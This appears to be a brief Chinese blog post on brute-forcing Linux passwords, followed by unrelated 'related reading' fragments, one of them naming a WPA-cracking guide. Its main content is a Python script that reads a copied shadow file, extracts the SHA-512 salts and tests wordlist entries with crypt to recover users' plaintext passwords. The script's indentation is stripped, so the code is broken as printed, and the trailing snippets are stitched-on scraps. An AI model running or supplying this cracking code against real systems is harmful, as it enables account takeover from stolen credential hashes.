暴力破解密码
1.首先我们需要一个“字典”,换而言之,就是密码库,可以用来破解linux用户的密码
2.接下来,我用一个脚本来给大家简单的写一下
#!/usr/bin/env Python
# -*- coding:utf-8 -*-
import crypt
def get_info(dfile,wfile):
f = open(dfile,"r")
alist = f.readlines() #密码作为列表
f.close()
wf = open(wfile,"r")
wlist = wf.readlines() #字典作为列表
wf.close()
adir = {} #信息已字典的格式存储
for i in alist:
blist = i.split(":")
if len(blist[1]) > 3:
adir["name"] = (blist[0])
adir["passwd"] = (blist[1])
clist = blist[1].split("$") #分割出盐值内容
salt = "$6$"+clist[2] #盐值需要字符串拼接成为完整盐值
adir["salt"] = salt
for kw in wlist:
if adir["passwd"] == crypt.crypt(kw.rstrip(),adir["salt"]): #密码内容对比
print(adir["name"],kw.rstrip())
if __name__ == "__main__":
dfile = "/tmp/shadow" #密码文件
wfile = "/tmp/wordlist.TXT" #字典文件
get_info(dfile,wfile)
相关阅读
1、什么是bond? 网卡bond是通过多张网卡绑定为一个逻辑网卡,实现本地网卡的冗余,带宽扩容和负载均衡,在生产场景中是一种常用的技术
开始使用 Sandstorm 吧,一个开源 Web 应用平台 | Linux
了解 Sandstorm,
最近在维护网站的时候 一两天后网站就会变的很卡,进入LINUX服务器查看 top -l 和 free -m 发现内存消耗过大,重启一般就解决问题了,
原文地址为:取代奶瓶Minidwep-gtk破解WPA 全攻略 取代奶瓶Minidwep-gtk 破 WPA 全攻略 目录 1、 CDlinux 下使用 minidwepgtk 获
即使独角兽远程视界出现了资金链短缺,我们也不能就此看衰整个远程医疗行业。因此,在远程医疗租赁行业不少交易环节尚未成熟的前提